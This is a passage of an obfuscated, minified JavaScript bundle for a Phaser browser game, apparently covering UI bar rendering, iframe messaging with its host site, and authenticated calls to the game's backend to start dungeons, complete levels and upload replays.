_0x4b1346['image']['destroy']()), this['icon'] && this['icon']['image']['destroy'](); } ['setValue'](_0x3c2b9f) { const _0xae727b = this['valueElement']['image'], _0x24d891 = _0x3c2b9f / this['config']['maxValue'] * this['valueElement']['initialScale']['x']; if (_0xae727b['setScale'](_0x24d891, this['valueElement']['initialScale']['y']), this['config']['tintWhenNotFull']) { if (_0x3c2b9f >= this['config']['maxValue']) { const _0x25b2dd = this['config']['gameContext']['getAnimationConfig'](this['config']['configPath']['value']), _0x2ffb6e = this['config']['tint'] ?? _0x25b2dd['tint'] ?? 0xffffff; _0xae727b['tint'] = _0x2ffb6e, this['backgroundElement']['image']['tint'] = _0x2ffb6e, this['endingElements']['forEach'](_0x298aa7 => _0x298aa7['image']['tint'] = _0x2ffb6e); } else _0xae727b['tint'] = this['config']['tintWhenNotFull'], this['backgroundElement']['image']['tint'] = this['config']['tintWhenNotFull'], this['endingElements']['forEach'](_0x17a502 => _0x17a502['image']['tint'] = this['config']['tintWhenNotFull']); } if ('center' !== this['config']['barOrigin']) return; const _0x319b8b = this['backgroundElement']['image']['width'] * this['valueElement']['initialScale']['x'], _0x1097d2 = _0xae727b['width'] * _0x24d891; this['valueElement']['offsetPosition']['x'] = this['valueElement']['initialOffsetPosition']['x'] - (_0x319b8b - _0x1097d2) / 0x2; } ['updatePosition'](_0x58c878) { const _0x57ef28 = this['valueElement'], _0x322a68 = this['backgroundElement']; _0x57ef28['image']['setPosition'](_0x58c878['x'] + _0x57ef28['offsetPosition']['x'], _0x58c878['y'] + _0x57ef28['offsetPosition']['y']), _0x322a68['image']['setPosition'](_0x58c878['x'] + _0x322a68['offsetPosition']['x'], _0x58c878['y'] + _0x322a68['offsetPosition']['y']), this['icon'] && this['icon']['image']['setPosition'](_0x58c878['x'] + this['icon']['offsetPosition']['x'], _0x58c878['y'] + this['icon']['offsetPosition']['y']), this['endingElements']['forEach'](_0x2bf43a => { _0x2bf43a['image']['setPosition'](_0x58c878['x'] + _0x2bf43a['offsetPosition']['x'], _0x58c878['y'] + _0x2bf43a['offsetPosition']['y']); }); } ['show']() { this['valueElement']['image']['setVisible'](!0x0), this['backgroundElement']['image']['setVisible'](!0x0), this['endingElements']['forEach'](_0x6c767c => _0x6c767c['image']['setVisible'](!0x0)), this['icon'] && this['icon']['image']['setVisible'](!0x0); } ['hide']() { this['valueElement']['image']['setVisible'](!0x1), this['backgroundElement']['image']['setVisible'](!0x1), this['endingElements']['forEach'](_0x195e05 => _0x195e05['image']['setVisible'](!0x1)), this['icon'] && this['icon']['image']['setVisible'](!0x1); } ['createElement'](_0x546664, _0x4dddd3) { const _0x502c0d = this['config']['gameContext']['getAnimationConfig'](_0x546664), _0x289e5e = _0x502c0d['animationConfig']['staticFrame'], _0x142360 = this['config']['scaleX'] ?? 0x1, _0x594ab3 = this['config']['scaleY'] ?? 0x1, _0x389d61 = this['config']['scene']['add']['image'](0x0, 0x0, _0x502c0d['textureName'], _0x289e5e); return _0x389d61['blendMode'] = _0x502c0d['blendMode'] || Phaser['BlendModes']['NORMAL'], _0x389d61['tint'] = this['config']['tint'] ?? _0x502c0d['tint'] ?? 0xffffff, _0x389d61['alpha'] = _0x502c0d['alpha'] || 0x1, _0x389d61['scaleX'] = _0x142360, _0x389d61['scaleY'] = _0x594ab3, 'topleft' === this['config']['barOrigin'] && _0x389d61['setOrigin'](0x0, 0x0), _0x389d61['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x389d61['setDepth'](_0x4dddd3['depthAdd']) : _0x389d61['setDepth'](_0x4dddd3['depth']), this['config']['scene']['add']['existing'](_0x389d61), { 'image': _0x389d61, 'offsetPosition': new _0x560e04['Vector'](0x0, 0x0), 'initialScale': new _0x560e04['Vector'](_0x142360, _0x594ab3), 'initialOffsetPosition': new _0x560e04['Vector'](0x0, 0x0) }; } ['createEndingElement'](_0x1f5e67, _0x524f6a, _0xdfc144, _0x35836d) { const _0x5234c2 = this['createElement'](_0x1f5e67, _0xdfc144), _0x3e8f72 = _0x524f6a['offsetPosition']['x'], _0x56978e = this['config']['scaleX'] ?? 0x1, _0x19a44c = this['config']['scaleY'] ?? 0x1; return _0x5234c2['image']['scaleX'] = this['config']['scaleY'] ?? 0x1 * (_0x35836d ? -0x1 : 0x1), _0x5234c2['image']['setOrigin'](_0x35836d ? 0x1 : 0x0, 'topleft' === this['config']['barOrigin'] ? 0x0 : 0.5), _0x5234c2['offsetPosition']['x'] = _0x35836d ? _0x5234c2['image']['width'] * _0x19a44c : _0x3e8f72 + _0x524f6a['image']['width'] * _0x56978e, _0x5234c2; } ['centerSprites']() { const _0x6801a4 = this['valueElement']['image']['width'] * (this['config']['scaleX'] ?? 0x1); this['icon']?.['offsetPosition'] && (this['icon']['offsetPosition']['x'] -= _0x6801a4 / 0x2), this['endingElements']['forEach'](_0x3c29f6 => _0x3c29f6['offsetPosition']['x'] -= _0x6801a4 / 0x2); } ['maybeCreateIcon'](_0x4c4f63) { if (!_0x4c4f63['iconConfigPath']) return { 'image': this['config']['scene']['add']['image'](0x0, 0x0, 'image/empty'), 'offsetPosition': new _0x560e04['Vector'](0x0, 0x0), 'initialScale': new _0x560e04['Vector'](0x1, 0x1), 'initialOffsetPosition': new _0x560e04['Vector'](0x0, 0x0) }; const _0x562717 = this['config']['scaleX'] ?? 0x1, _0x27e0ad = this['config']['scaleY'] ?? 0x1, _0x450399 = this['config']['gameContext']['getAnimationConfig'](_0x4c4f63['iconConfigPath']), _0x33eb2a = _0x450399['animationConfig']['staticFrame'], _0x3eadd7 = this['config']['scene']['add']['image'](0x0, 0x0, _0x450399['textureName'], _0x33eb2a); return _0x3eadd7['blendMode'] = _0x450399['blendMode'] || Phaser['BlendModes']['NORMAL'], _0x3eadd7['tint'] = _0x450399['tint'] || 0xffffff, _0x3eadd7['alpha'] = _0x450399['alpha'] || 0x1, _0x3eadd7['scaleX'] = _0x27e0ad, _0x3eadd7['scaleY'] = _0x27e0ad, 'topleft' === this['config']['barOrigin'] && _0x3eadd7['setOrigin'](0x0, 0x0), _0x3eadd7['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x3eadd7['setDepth'](_0x4c4f63['depthAdd']) : _0x3eadd7['setDepth'](_0x4c4f63['depth']), this['config']['scene']['add']['existing'](_0x3eadd7), { 'image': _0x3eadd7, 'offsetPosition': new _0x560e04['Vector']((_0x4c4f63['iconOffset']?.['x'] ?? 0x0) * _0x27e0ad, (_0x4c4f63['iconOffset']?.['y'] ?? 0x0) * _0x27e0ad), 'initialScale': new _0x560e04['Vector'](_0x562717, _0x27e0ad), 'initialOffsetPosition': new _0x560e04['Vector']((_0x4c4f63['iconOffset']?.['x'] ?? 0x0) * _0x27e0ad, (_0x4c4f63['iconOffset']?.['y'] ?? 0x0) * _0x27e0ad) }; } }; }, 0x1a31: (_0x534ff9, _0x1fac38, _0x54c9d8) => { 'use strict'; Object['defineProperty'](_0x1fac38, '__esModule', { 'value': !0x0 }), _0x1fac38['createContinuousBarActor'] = void 0x0; const _0x5e98af = _0x54c9d8(0x25fa), _0x2646f0 = _0x54c9d8(0xd2e), _0x3e0b2d = _0x54c9d8(0x1832), _0x1c1adf = _0x54c9d8(0x23a5), _0x5e2ff8 = _0x54c9d8(0xad2), _0x2b6945 = _0x54c9d8(0x2515), _0x5f1942 = { ..._0x2646f0['actorModel'], ..._0x1c1adf['barModel'] }; _0x1fac38['createContinuousBarActor'] = function (_0x21c602) { return new _0x5e98af['Actor']({ ..._0x21c602, 'tags': [_0x3e0b2d['EActorTag']['UI']], 'name': 'UI_BAR_' + _0x21c602['name'], 'model': _0x5f1942, 'components': [new _0x2b6945['ContinuousBarRenderComponent']({ ..._0x21c602, 'controllers': [new _0x5e2ff8['BarValueController'](_0x21c602)] })] }); }; }, 0x2515: (_0x237cc4, _0x4a0478, _0x1c0867) => { 'use strict'; Object['defineProperty'](_0x4a0478, '__esModule', { 'value': !0x0 }), _0x4a0478['ContinuousBarRenderComponent'] = void 0x0; const _0x16cd21 = _0x1c0867(0x2414), _0x580b9a = _0x1c0867(0x1403), _0x4c7997 = _0x1c0867(0x18e5); class _0x37f42b extends _0x16cd21['ActorComponent']{ ['continuousBar'];['boundUpdateCounterPosition'] = this['updateCounterPosition']['bind'](this);['attachedActor']; constructor(_0x67f66a) { super({ ..._0x67f66a, 'isRenderComponent': !0x0 }), this['config']['barOrigin'] = this['config']['barOrigin'] ?? 'center'; } ['init']() { this['continuousBar'] = new _0x580b9a['ContinuousBar']({ ...this['config'], 'scene': this['scene'], 'gameContext': this['gameContext'], 'depth': this['config']['depth'], 'depthAdd': this['config']['depthAdd'] }), this['continuousBar']['updatePosition'](this['config']['initialPosition']), this['config']['attachToActor'] && this['setupActorAttachment'](), this['gameMessageBus']['subscribe'](this, 'hideUi', () => this['hideUi']()); } ['destroy']() { this['continuousBar']['destroy'](); } ['setValue'](_0x16dc0e) { this['continuousBar']['setValue'](_0x16dc0e); } ['show']() { this['continuousBar']['show'](); } ['hide']() { this['continuousBar']['hide'](); } ['changeAttachedActor'](_0x244b05) { this['attachedActor']?.['unsubscribeFromStore']('renderPosition', this['boundUpdateCounterPosition']), this['attachedActor'] = _0x244b05, _0x244b05['subscribeToStore']('renderPosition', this['boundUpdateCounterPosition']); } ['updateCounterPosition'](_0x17687a) { this['continuousBar']['updatePosition']((0x0, _0x4c7997['add'])(_0x17687a['newValue'], this['config']['initialPosition'])); } ['setupActorAttachment']() { this['attachedActor'] = this['actor'], this['store']['subscribe']('renderPosition', this['boundUpdateCounterPosition']); } ['hideUi']() { this['continuousBar']['hide'](); } } _0x4a0478['ContinuousBarRenderComponent'] = _0x37f42b; }, 0xd6e: (_0x5d4e6f, _0x42893d, _0x2033c9) => { 'use strict'; Object['defineProperty'](_0x42893d, '__esModule', { 'value': !0x0 }), _0x42893d['createSegmentedBarActor'] = void 0x0; const _0xff9aaf = _0x2033c9(0x25fa), _0x298194 = _0x2033c9(0xd2e), _0x140b7e = _0x2033c9(0x1832), _0x13bd65 = _0x2033c9(0x23a5), _0x4465a2 = _0x2033c9(0x151d), _0xa66937 = _0x2033c9(0xad2), _0x49712b = { ..._0x298194['actorModel'], ..._0x13bd65['barModel'] }; _0x42893d['createSegmentedBarActor'] = function (_0x384ae1) { return new _0xff9aaf['Actor']({ ..._0x384ae1, 'tags': [_0x140b7e['EActorTag']['UI']], 'name': 'UI_BAR_' + _0x384ae1['name'], 'model': _0x49712b, 'components': [new _0x4465a2['SegmentedBarRenderComponent']({ ..._0x384ae1, 'controllers': [new _0xa66937['BarValueController'](_0x384ae1)] })] }); }; }, 0x151d: (_0x258486, _0x2d46dd, _0x209c5e) => { 'use strict'; Object['defineProperty'](_0x2d46dd, '__esModule', { 'value': !0x0 }), _0x2d46dd['SegmentedBarRenderComponent'] = void 0x0; const _0x49c9a3 = _0x209c5e(0x2414), _0x17b5ff = _0x209c5e(0x18e5); class _0x595a83 extends _0x49c9a3['ActorComponent']{ ['valuePointElements'] = [];['icon']; constructor(_0x5e095c) { super({ ..._0x5e095c, 'isRenderComponent': !0x0 }), this['config']['barOrigin'] = this['config']['barOrigin'] ?? 'center'; } ['init']() { this['valuePointElements'] = this['createValuePointElements'](this['config']), this['icon'] = this['maybeCreateIcon'](this['config']), 'center' === this['config']['barOrigin'] && this['centerElements'](), this['updatePositions'](new _0x17b5ff['Vector'](this['config']['initialPosition']['x'], this['config']['initialPosition']['y'])), this['config']['attachToActor'] && this['setupActorAttachment'](), this['gameMessageBus']['subscribe'](this, 'hideUi', () => this['hideUi']()), this['setValue'](this['config']['initialValue']); } ['destroy']() { this['valuePointElements']['forEach'](_0x34fc39 => _0x34fc39['image']['destroy']()), this['icon'] && this['icon']['image']['destroy'](); } ['setValue'](_0xf2f86a) { for (let _0x42a14c = 0x0; _0x42a14c < this['valuePointElements']['length']; _0x42a14c++) { const _0x7967b3 = _0x42a14c < _0xf2f86a, _0xd9f63 = 0x0 === _0x42a14c, _0x57fcd8 = _0x42a14c === this['config']['maxValue'] - 0x1; let _0x511e30; _0x511e30 = _0x7967b3 ? _0xd9f63 && this['config']['valuePointConfigPath']['firstPointOn'] ? this['config']['valuePointConfigPath']['firstPointOn'] : _0x57fcd8 && this['config']['valuePointConfigPath']['lastPointOn'] ? this['config']['valuePointConfigPath']['lastPointOn'] : this['config']['valuePointConfigPath']['pointOn'] : _0xd9f63 && this['config']['valuePointConfigPath']['firstPointOff'] ? this['config']['valuePointConfigPath']['firstPointOff'] : _0x57fcd8 && this['config']['valuePointConfigPath']['lastPointOff'] ? this['config']['valuePointConfigPath']['lastPointOff'] : this['config']['valuePointConfigPath']['pointOff']; const _0x4b0ebe = this['gameContext']['getAnimationConfig'](_0x511e30), _0x2d0490 = _0x4b0ebe['animationConfig']['staticFrame'], _0xb96ea = this['valuePointElements'][_0x42a14c]['image']; _0xb96ea['blendMode'] = _0x4b0ebe['blendMode'] || Phaser['BlendModes']['NORMAL'], _0xb96ea['blendMode'] === Phaser['BlendModes']['ADD'] ? _0xb96ea['setDepth'](this['config']['depthAdd']) : _0xb96ea['setDepth'](this['config']['depth']), _0xb96ea['tint'] = this['config']['tint'] ?? _0x4b0ebe['tint'] ?? 0xffffff, _0xb96ea['alpha'] = _0x4b0ebe['alpha'] || 0x1, _0xb96ea['setFrame'](_0x2d0490); } } ['updatePositions'](_0x1978b8) { this['valuePointElements']['forEach'](_0x723ddc => { _0x723ddc['image']['setPosition'](_0x1978b8['x'] + _0x723ddc['offsetPosition']['x'], _0x1978b8['y'] + _0x723ddc['offsetPosition']['y']); }), this['icon'] && this['icon']['image']['setPosition'](_0x1978b8['x'] + this['icon']['offsetPosition']['x'], _0x1978b8['y'] + this['icon']['offsetPosition']['y']); } ['createValuePointElements'](_0x14bf89) { const _0x1f5526 = []; let _0x11676f = 0x0; for (let _0x24c699 = 0x0; _0x24c699 < _0x14bf89['maxValue']; _0x24c699++) { const _0x3dbe47 = 0x0 === _0x24c699, _0x2ffe5c = _0x24c699 === _0x14bf89['maxValue'] - 0x1, _0xf923b5 = _0x3dbe47 && _0x14bf89['valuePointConfigPath']['firstPointOff'] ? _0x14bf89['valuePointConfigPath']['firstPointOff'] : _0x2ffe5c && _0x14bf89['valuePointConfigPath']['lastPointOff'] ? _0x14bf89['valuePointConfigPath']['lastPointOff'] : _0x14bf89['valuePointConfigPath']['pointOff'], _0x57a30f = this['gameContext']['getAnimationConfig'](_0xf923b5), _0x14e185 = _0x57a30f['animationConfig']['staticFrame'], _0x10c0e9 = this['config']['scaleX'] ?? 0x1, _0x5399eb = this['config']['scaleY'] ?? 0x1, _0x148dc4 = new _0x17b5ff['Vector'](_0x11676f, 0x0), _0x4ca569 = this['scene']['add']['image'](0x0, 0x0, _0x57a30f['textureName'], _0x14e185); _0x4ca569['blendMode'] = _0x57a30f['blendMode'] || Phaser['BlendModes']['NORMAL'], _0x4ca569['tint'] = this['config']['tint'] ?? _0x57a30f['tint'] ?? 0xffffff, _0x4ca569['alpha'] = _0x57a30f['alpha'] || 0x1, _0x4ca569['scaleX'] = _0x10c0e9, _0x4ca569['scaleY'] = _0x5399eb, 'topleft' === this['config']['barOrigin'] && _0x4ca569['setOrigin'](0x0, 0x0), _0x4ca569['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x4ca569['setDepth'](_0x14bf89['depthAdd']) : _0x4ca569['setDepth'](_0x14bf89['depth']), _0x1f5526['push']({ 'image': _0x4ca569, 'offsetPosition': _0x148dc4 }), this['scene']['add']['existing'](_0x4ca569), _0x11676f += _0x4ca569['width'] * _0x10c0e9 + (_0x14bf89['valuePointSpacing'] ?? 0x0) * _0x5399eb; } return _0x1f5526; } ['centerElements']() { const _0x4199c6 = this['valuePointElements'], _0x26463e = _0x4199c6[_0x4199c6['length'] - 0x1], _0xd00b0c = _0x26463e['offsetPosition']['x'] ?? 0x0, _0x410559 = _0x26463e['image']['width'] * (this['config']['scaleX'] ?? 0x1); _0x4199c6['forEach'](_0x3c7cb0 => { _0x3c7cb0['offsetPosition']['x'] -= _0xd00b0c / 0x2; }), this['icon']?.['offsetPosition'] && (this['icon']['offsetPosition']['x'] -= _0xd00b0c / 0x2 + _0x410559 / 0x2); } ['maybeCreateIcon'](_0x9c0c23) { if (!_0x9c0c23['iconConfigPath']) return { 'image': this['scene']['add']['image'](0x0, 0x0, 'image/empty'), 'offsetPosition': new _0x17b5ff['Vector'](0x0, 0x0) }; this['config']['scaleX']; const _0x39b8ec = this['config']['scaleY'] ?? 0x1, _0x21ccdf = this['gameContext']['getAnimationConfig'](_0x9c0c23['iconConfigPath']), _0x476afe = _0x21ccdf['animationConfig']['staticFrame'], _0x19e49e = this['scene']['add']['image'](0x0, 0x0, _0x21ccdf['textureName'], _0x476afe); return _0x19e49e['blendMode'] = _0x21ccdf['blendMode'] || Phaser['BlendModes']['NORMAL'], _0x19e49e['tint'] = _0x21ccdf['tint'] || 0xffffff, _0x19e49e['alpha'] = _0x21ccdf['alpha'] || 0x1, _0x19e49e['scaleX'] = _0x39b8ec, _0x19e49e['scaleY'] = _0x39b8ec, 'topleft' === this['config']['barOrigin'] && _0x19e49e['setOrigin'](0x0, 0x0), _0x19e49e['blendMode'] === Phaser['BlendModes']['ADD'] ? _0x19e49e['setDepth'](_0x9c0c23['depthAdd']) : _0x19e49e['setDepth'](_0x9c0c23['depth']), this['scene']['add']['existing'](_0x19e49e), { 'image': _0x19e49e, 'offsetPosition': new _0x17b5ff['Vector']((_0x9c0c23['iconOffset']?.['x'] ?? 0x0) * _0x39b8ec, (_0x9c0c23['iconOffset']?.['y'] ?? 0x0) * _0x39b8ec) }; } ['setupActorAttachment']() { this['store']['subscribe']('renderPosition', ({ oldValue: _0x556032, newValue: _0x4d0116 }) => this['updatePositions']({ 'x': this['config']['initialPosition']['x'] + _0x4d0116['x'], 'y': this['config']['initialPosition']['y'] + _0x4d0116['y'] })); } ['hideUi']() { this['valuePointElements']['forEach'](_0x599b76 => _0x599b76['image']['visible'] = !0x1), this['icon'] && (this['icon']['image']['visible'] = !0x1); } } _0x2d46dd['SegmentedBarRenderComponent'] = _0x595a83; }, 0x19d7: function (_0x327b2b, _0x149745, _0x4eda12) { 'use strict'; var _0x4ce23b = this && this['__importDefault'] || function (_0x30b3f1) { return _0x30b3f1 && _0x30b3f1['__esModule'] ? _0x30b3f1 : { 'default': _0x30b3f1 }; }; Object['defineProperty'](_0x149745, '__esModule', { 'value': !0x0 }), _0x4eda12(0x1464), _0x4eda12(0x1762); const _0x378317 = _0x4eda12(0xf18), _0x12eb4b = _0x4eda12(0xf0e), _0x161d0d = _0x4eda12(0x1a95); new (_0x4ce23b(_0x4eda12(0xd60)))['default']({ 'initialMode': _0x161d0d['EGameMode']['PLAY'], 'phaserConfig': _0x378317['PHASER_CONFIG'], 'systemMessageBus': new _0x12eb4b['MessageBus']({ 'emitTestDOMEvents': !0x1 }) }); }, 0x2123: (_0x16d9f9, _0x1272cb) => { 'use strict'; Object['defineProperty'](_0x1272cb, '__esModule', { 'value': !0x0 }), _0x1272cb['authModel'] = _0x1272cb['EMessageInboundType'] = _0x1272cb['EMessageOutboundType'] = void 0x0, function (_0xa09207) { _0xa09207['REQUEST_AUTH'] = 'REQUEST_AUTH', _0xa09207['AUTH_STORED'] = 'AUTH_STORED', _0xa09207['ASSET_LOADED'] = 'ASSET_LOADED', _0xa09207['ASSET_PROGRESS'] = 'ASSET_PROGRESS', _0xa09207['GAME_READY_FOR_DISPLAY'] = 'GAME_READY_FOR_DISPLAY', _0xa09207['REQUEST_MENU'] = 'REQUEST_MENU', _0xa09207['RUN_COMPLETED'] = 'RUN_COMPLETED'; }(_0x1272cb['EMessageOutboundType'] || (_0x1272cb['EMessageOutboundType'] = {})), function (_0x314c00) { _0x314c00['START_GAME'] = 'START_GAME', _0x314c00['IFRAME_RENDERED'] = 'IFRAME_RENDERED', _0x314c00['CLOSE_GAME'] = 'CLOSE_GAME', _0x314c00['AUTH'] = 'AUTH', _0x314c00['ENABLE_INPUTS'] = 'ENABLE_INPUTS', _0x314c00['DISABLE_INPUTS'] = 'DISABLE_INPUTS', _0x314c00['ENABLE_AUDIO'] = 'ENABLE_AUDIO', _0x314c00['DISABLE_AUDIO'] = 'DISABLE_AUDIO', _0x314c00['UPDATE_SETTINGS'] = 'UPDATE_SETTINGS'; }(_0x1272cb['EMessageInboundType'] || (_0x1272cb['EMessageInboundType'] = {})), _0x1272cb['authModel'] = { 'authToken': '', 'accountId': '' }; }, 0x21c: (_0x2396a6, _0x5291c9, _0x4365ac) => { 'use strict'; Object['defineProperty'](_0x5291c9, '__esModule', { 'value': !0x0 }), _0x5291c9['CommunicationSystem'] = void 0x0; const _0x3ce382 = _0x4365ac(0x2ec), _0x11332e = 'https://www.playvariance.com'; _0x5291c9['CommunicationSystem'] = class { ['systemMessageBus'];['defaultGameConfig']; constructor(_0x1b41b9) { this['systemMessageBus'] = _0x1b41b9, this['setup'](); } async['setup']() { this['defaultGameConfig'] = await (0x0, _0x3ce382['loadConnectionConfig'])(), this['systemMessageBus']['subscribe'](this, 'requestSendOutboundMessage', ({ message: _0x3b992c, content: _0xd8c6f4 }) => this['sendMessage'](_0x3b992c, _0xd8c6f4)), window['addEventListener']('message', _0x253cb0 => this['handleMessageResponse'](_0x253cb0)); } ['sendMessage'](_0x2504ef, _0x44454d) { window['parent'] && window !== window['parent'] && window['parent']['postMessage']({ 'type': _0x2504ef, 'content': _0x44454d }, this['getParentUrl']()); } ['handleMessageResponse'](_0x30090d) { const { type: _0xaed6c7, content: _0x363cbe } = _0x30090d['data']; this['systemMessageBus']['publish']('receivedInboundMessage', { 'type': _0xaed6c7, 'content': _0x363cbe }), _0x30090d?.['data']?.['source']?.['includes']('react'); } ['getParentUrl']() { if (_0x11332e) return _0x11332e; const _0x328d9b = this['defaultGameConfig']; if (!_0x328d9b['backendServerDefaultUrl']) throw new Error('Backend\x20server\x20default\x20URL\x20missing\x20from\x20config'); if (!_0x328d9b['backendServerPort']) throw new Error('Backend\x20server\x20port\x20missing\x20from\x20config'); if (!_0x328d9b['backendServerProtocol']) throw new Error('Backend\x20server\x20protocol\x20missing\x20from\x20config'); return _0x328d9b['backendServerProtocol'] + '://' + _0x328d9b['backendServerDefaultUrl'] + ':' + _0x328d9b['backendServerPort']; } }; }, 0xf51: function (_0x53fdf3, _0x38bc2d, _0x2dfb34) { 'use strict'; var _0x1a4823 = this && this['__importDefault'] || function (_0x4a64df) { return _0x4a64df && _0x4a64df['__esModule'] ? _0x4a64df : { 'default': _0x4a64df }; }; Object['defineProperty'](_0x38bc2d, '__esModule', { 'value': !0x0 }), _0x38bc2d['GameStateRouter'] = void 0x0; const _0x5eb59b = _0x1a4823(_0x2dfb34(0x1c32)), _0x209c86 = _0x2dfb34(0x5b0), _0x4afc13 = 'https://api.realmverse.gg/app/variance'; _0x38bc2d['GameStateRouter'] = class { ['gameStore'];['actionQueue']; constructor(_0x5a877e) { this['gameStore'] = _0x5a877e, this['actionQueue'] = new _0x209c86['ActionQueue'](); } ['getAuthModel']() { return this['gameStore']['get']('auth'); } async['isInDungeon']() { const { authToken: _0x439c33, accountId: _0xd0a202 } = this['getAuthModel'](), _0x2d4f34 = await _0x5eb59b['default']['create']({ 'headers': this['buildHeader'](_0x439c33), 'baseURL': _0x4afc13 + '/accounts/' + _0xd0a202 + '/actions' })['get'](''), _0x5905c1 = _0x2d4f34['data']?.['actions']?.[0x0]?.['availability']?.['available']; if (0xc8 !== _0x2d4f34['status'] || void 0x0 === _0x5905c1) throw new Error('Failed\x20to\x20get\x20dungeon\x20state'); return !_0x5905c1; } async['startDungeonImmediately']() { return this['queueCancelableAction'](() => this['invokeAction']('start-dungeon', {})); } async['startDungeon']() { return this['queueCancelableAction'](() => this['invokeWithExponentialBackoff'](() => this['invokeAction']('start-dungeon', {}))); } async['enterLevel']() { return this['queueCancelableAction'](() => this['invokeWithExponentialBackoff'](() => this['invokeAction']('enter-level', {}))); } async['exitLevel'](_0x275158, _0x55bc74) { return this['queueCancelableAction'](() => this['invokeWithExponentialBackoff'](() => this['invokeAction']('exit-level', { 'runState': _0x275158, 'replay': _0x55bc74, 'scores': {} }))); } async['exitLevelMultistep'](_0x371abf, _0x316614) { const _0x18ecf0 = await this['queueCancelableAction'](async () => await this['invokeWithExponentialBackoff'](async () => { const _0x2b68ca = JSON['stringify'](_0x316614), _0x401471 = await crypto['subtle']['digest']('SHA-256', new TextEncoder()['encode'](_0x2b68ca)), _0x37e8ee = Array['from'](new Uint8Array(_0x401471))['map'](_0x9ad18e => _0x9ad18e['toString'](0x10)['padStart'](0x2, '0'))['join'](''); return this['invokeAction']('exit-level-begin', { 'runState': _0x371abf, 'replayChecksum': _0x37e8ee, 'scores': {} }); })); return this['queueCancelableAction'](async () => { try { await this['invokeWithExponentialBackoff'](() => { const _0x4d000a = JSON['stringify'](_0x316614); return _0x5eb59b['default']['put'](_0x18ecf0['uploadUrl'], _0x4d000a, { 'headers': { 'Content-Type': 'application/json' } }); }), await this['invokeWithExponentialBackoff'](() => this['invokeAction']('exit-level-end', { 'level': _0x371abf['currentLevelIndex'] })); } catch (_0x26493f) { } })['then'](() => { }), { 'seeds': _0x18ecf0['seeds'] }; } async['abandonDungeon']() { return this['queueCancelableAction'](() => this['invokeAction']('abandon-dungeon', {})); } async['queueCancelableAction'](_0x4a96c0) { return new Promise((_0x25ed3c, _0x270b49) => { let _0x4c37d1 = null, _0x5a9488 = !0x1; const _0x23a9ea = { 'action': async () => { _0x4c37d1 = _0x5eb59b['default']['CancelToken']['source'](); try { const _0x23490f = await _0x4a96c0(); _0x5a9488 || (_0x5a9488 = !0x0, _0x25ed3c(_0x23490f)); } catch (_0xb81c7a) { _0x5eb59b['default']['isCancel'](_0xb81c7a), _0x5a9488 || (_0x5a9488 = !0x0, _0x270b49(_0xb81c7a)); } }, 'cancel': () => { _0x4c37d1 && !_0x5a9488 && (_0x4c37d1['cancel']('Action\x20cancelled'), _0x5a9488 = !0x0, _0x270b49(new Error('Action\x20cancelled'))); } }; this['actionQueue']['queueAction'](_0x23a9ea); }); } ['cancelAll']() { this['actionQueue']['cancelAll'](); } async['invokeWithExponentialBackoff'](_0x3c157f, _0x390a2c = 0x4) { let _0x10b420 = 0x0, _0x26e7b4 = null; for (; !_0x26e7b4;)try { _0x26e7b4 = await _0x3c157f(); } catch (_0x393d82) { if (_0x5eb59b['default']['isCancel'](_0x393d82)) throw _0x393d82; if (_0x10b420 >= _0x390a2c) throw _0x393d82; _0x10b420++, await new Promise(_0x4292ee => setTimeout(_0x4292ee, 0x3e8 * Math['pow'](0x2, _0x10b420))); } return _0x26e7b4; } async['invokeAction'](_0x528afd, _0x4d38b9) { const { authToken: _0x323710, accountId: _0x49ee9f } = this['getAuthModel'](), _0x45b6a2 = await _0x5eb59b['default']['post'](_0x4afc13 + '/accounts/' + _0x49ee9f + '/actions', JSON['stringify']({ 'action': _0x528afd, 'data': _0x4d38b9 }), { 'headers': this['buildHeader'](_0x323710) }); if (0xc8 !== _0x45b6a2['status']) throw new Error('Failed\x20to\x20invoke\x20action'); return _0x45b6a2['data']?.['outcomes']?.[0x0]?.['data']; } ['buildHeader'](_0x14137a) { return { 'Authorization': 'Bearer\x20' + _0x14137a, 'Content-Type': 'application/json' }; } }; }, 0x70c: (_0x15a276, _0xa24dc) => { 'use strict'; Object['defineProperty'](_0xa24dc, '__esModule', { 'value': !0x0 }), _0xa24dc['ControlsStateSystem'] = _0xa24dc['EPlayerAction'] = void 0x0, function (_0x411e52) { _0x411e52['left'] = 'left', _0x411e52['right'] = 'right', _0x411e52['down'] = 'down', _0x411e52['up'] = 'up', _0x411e52['jump'] = 'jump', _0x411e52['attack'] = 'attack', _0x411e52['secondaryAttack1'] = 'secondaryAttack1', _0x411e52['secondaryAttack2'] = 'secondaryAttack2', _0x411e52['secondaryAttack3'] = 'secondaryAttack3', _0x411e52['dash'] = 'dash', _0x411e52['interaction'] = 'interaction', _0x411e52['exit'] = 'exit', _0x411e52['choice'] = 'choice'; }(_0xa24dc['EPlayerAction'] || (_0xa24dc['EPlayerAction'] = {})), _0xa24dc['ControlsStateSystem'] = class { ['replayActionLog'];['gameMessageBus'];['systemMessageBus'];['nextReplayActionIndex'] = 0x0;['frameNumber'] = 0x0;['actionsState'] = { 'up': null, 'left': null, 'right': null, 'down': null, 'jump': null, 'attack': null, 'secondaryAttack1': null, 'secondaryAttack2': null, 'secondaryAttack3': null, 'dash': null, 'interaction': null, 'exit': null, 'choice': null }; constructor(_0x5be7b4) { this['replayActionLog'] = _0x5be7b4['replayActionLog'] || [], this['gameMessageBus'] = _0x5be7b4['gameMessageBus'], this['systemMessageBus'] = _0x5be7b4['systemMessageBus'], this['initActionStorage'](), this['gameMessageBus']['subscribe'](this, 'voidRun', () => this['handleVoidRun']()); } ['update']() { this['updateReplayActionIndexAndKeys'](), this['frameNumber']++; } ['destroy']() { this['systemMessageBus']['unsubscribeByOwner'](this), this['gameMessageBus']['unsubscribeByOwner'](this), this['replayActionLog'] = []; } ['initActionStorage']() { this['systemMessageBus']['subscribe'](this, 'actionStateChange', _0x2b9fe0 => { this['storeAction'](_0x2b9fe0); }); } ['storeAction'](_0x5771a7) { this['replayActionLog']['push']({ 'frameNumber': this['frameNumber'], 'action': _0x5771a7['action'], 'state': _0x5771a7['state'] }); } ['updateReplayActionIndexAndKeys']() { if (0x0 === this['replayActionLog']['length']) return; if (this['nextReplayActionIndex'] >= this['replayActionLog']['length']) return; const _0x3309ed = this['replayActionLog'][this['nextReplayActionIndex']]; this['frameNumber'] === _0x3309ed['frameNumber'] && (this['actionsState'][_0x3309ed['action']] = _0x3309ed['state'], this['nextReplayActionIndex']++, 